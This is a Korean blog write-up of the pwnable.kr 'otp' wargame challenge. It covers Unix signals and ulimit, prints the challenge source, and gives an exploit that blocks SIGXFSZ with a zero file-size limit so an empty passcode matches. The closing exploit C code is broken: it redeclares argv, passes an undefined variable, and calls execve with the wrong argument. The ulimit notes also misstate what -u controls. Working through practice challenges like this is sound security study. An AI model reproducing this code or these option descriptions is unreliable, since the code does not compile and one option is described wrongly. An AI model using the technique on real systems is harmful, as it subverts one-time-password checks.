[문제풀이] pwnable.kr - otp Wargames/pwnable.kr2017. 7. 9. 15:19
※ 사전지식
SIGNAL 정의
신호는 유닉스, 유닉스 계열, POSIX 호환 운영체제에 쓰이는 제한된 형태의 프로세스 간 통신이다.
신호는 프로세스나 동일 프로세스 내의 특정 스레드로 전달되는 비동기식 통보이다.
출처 : https://ko.wikipedia.org/wiki/유닉스_신호
사용자가 임의로 발생시킬 수 있는 신호도 존재한다.
- Ctrl+C : SIGINT 발생, 기본적으로 프로세스를 종료하는 역할을 한다.
- Ctrl+Z : SIGTSTP 발생, 기본적으로 프로세스가 실행을 유예시키는 역할을 한다.
- Ctrl+\ : SIGQUIT 발생, 기본적으로 프로세스를 종료시킨 뒤 코어를 덤프하는 역할을 한다.
- Ctrl+T : SIGINFO 발생, 명령에서 지원하는 경우 기본적으로 운영체제가 실행 중인 명령에 대한 정보를 표시한다.
요즘 운영체제에서 이러한 기본 키 조합들은 stty 명령으로 변경시킬 수 있다.
SIGNAL 종류
출처 : https://ko.wikipedia.org/wiki/유닉스_신호
ulimit 명령어
해당 명령어는 프로세스의 자원 한도를 설정하는 명령으로 Soft 한도와 Hard 한도 두 가지가 존재한다.
Soft : 새로운 프로그램을 생성하면 기본으로 적용되는 한도
Hard : 소프트 한도에서 최대로 늘릴 수 있는 한도
- ulimit [옵션] 값
-a : 모든 제한 사항을 보여줌.
-c : 최대 코어 파일 사이즈
-d : 프로세스 데이터 세그먼트의 최대 크기
-f : shell에 의해 만들어질 수 있는 파일의 최대 크기
-s : 최대 스택 크기
-p : 파이프 크기
-n : 오픈 파일의 최대수
-u : 오픈파일의 최대수
-v : 최대 가상메모리의 양
-S : soft 한도
-H : hard 한도
- 항목 설명
core file size (blocks, -c) 0
// 코어파일의 최대크기
data seg size (kbytes, -d) unlimited
// 프로세스의 데이터 세그먼트 최대크기
scheduling priority (-e) 0
file size (blocks, -f) unlimited
// 쉘에서 생성되는 파일의 최대 크기
pending signals (-i) 14943
max locked memory (kbytes, -l) 64
max memory size (kbytes, -m) unlimited
// resident set size의 최대 크기(메모리 최대크기)
open files (-n) 1024
// 한 프로세스에서 열 수 있는 open file descriptor의 최대 숫자(열수 있는 최대 파일 수)
pipe size (512 bytes, -p) 8
// 512-바이트 블럭의 파이프 크기
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 10240
cpu time (seconds, -t) unlimited
// 총 누적된 CPU 시간(초)
max user processes (-u) 1024
// 단일 유저가 사용가능한 프로세스의 최대 갯수
virtual memory (kbytes, -v) unlimited
// 쉘에서 사용가능 한 가상 메모리의 최대 용량
file locks (-x) unlimited
사전지식 끝!
※ 문제풀이
먼저 소감을 잠시 말하자면 기발했다.
내가 예상한 접근 방법이 다 틀렸고 다시 한번 사고의 확장을 할 수 있었다.
문제를 낸 사람이나 푼 사람이나 기발하다.
Signal 과 ulimit 명령어의 조합으로 이런 것도 가능하다니...
아직 경험 못해본 것이 너무 많다.
그럼 문제풀이로 들어가도록 하겠다.
[그림 1] 문제 구동시
사이트 문제에서도 알 수 있드시 문제에서 생성한 랜덤 숫자를 맞추는 문제이다.
코드는 아래와 같다.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> int main(int argc, char* argv[]){ char fname[128]; unsigned long long otp[2]; if(argc!=2){ printf("usage : ./otp [passcode]\n"); return 0; } int fd = open("/dev/urandom", O_RDONLY); if(fd==-1) exit(-1); if(read(fd, otp, 16)!=16) exit(-1); close(fd); sprintf(fname, "/tmp/%llu", otp[0]); FILE* fp = fopen(fname, "w"); if(fp==NULL){ exit(-1); } fwrite(&otp[1], 8, 1, fp); fclose(fp); printf("OTP generated.\n"); unsigned long long passcode=0; FILE* fp2 = fopen(fname, "r"); if(fp2==NULL){ exit(-1); } fread(&passcode, 8, 1, fp2); fclose(fp2); if(strtoul(argv[1], 0, 16) == passcode){ printf("Congratz!\n"); system("/bin/cat flag"); } else{ printf("OTP mismatch\n"); } unlink(fname); return 0; } |
위 코드에서 굵은 글자 형태로 표현한 것이 핵심인 듯하다.
쉘에서 파일을 생성하는 과정이다. 이제 저 부분을 가지고 장난을 친다.
쉘에서 생성할 수 있는 파일의 크기를 0으로 제한한다.
이럴 경우 SIGXFSZ 신호가 발생하는데 이를 무시하고 프로세스를 동작할 경우 비교 값은 NULL이 된다.
따라서 내가 NULL을 입력할 경우 조건이 만족하면서 플래그 값을 알 수 있다.
어메이징!! 쇼킹!!
[그림 2] 정답
문제풀이에 사용된 소스는 아래와 같다 .
#include <stdio.h> #include <stdlib.h> #include <signal.h> int main(int argc, char*argv[]) { sigset_t mask; sigemptyset(&mask); sigaddset(&mask, SIGXFSZ); sigprocmask(SIG_BLOCK, &mask, NULL); char *argv[] = { "otp", "\x00", NULL}; char *env[] = {NULL}; execve(argv[1], arg, env);
return 0; } |
문제풀이 끝!
색다른 방법을 배울수 있는 좋은 문제였따!!
'Wargames > pwnable.kr' 카테고리의 다른 글
[문제풀이] pwnable.kr - ascii_easy (0) | 2017.07.09 |
---|---|
[문제풀이] pwnable.kr - brain fuck (0) | 2017.07.09 |
[문제풀이] pwnable.kr - md5 calculator (0) | 2017.07.09 |
[문제풀이] pwnable.kr - simple login (0) | 2017.07.09 |
[문제풀이] pwnable.kr - codemap (0) | 2017.07.09 |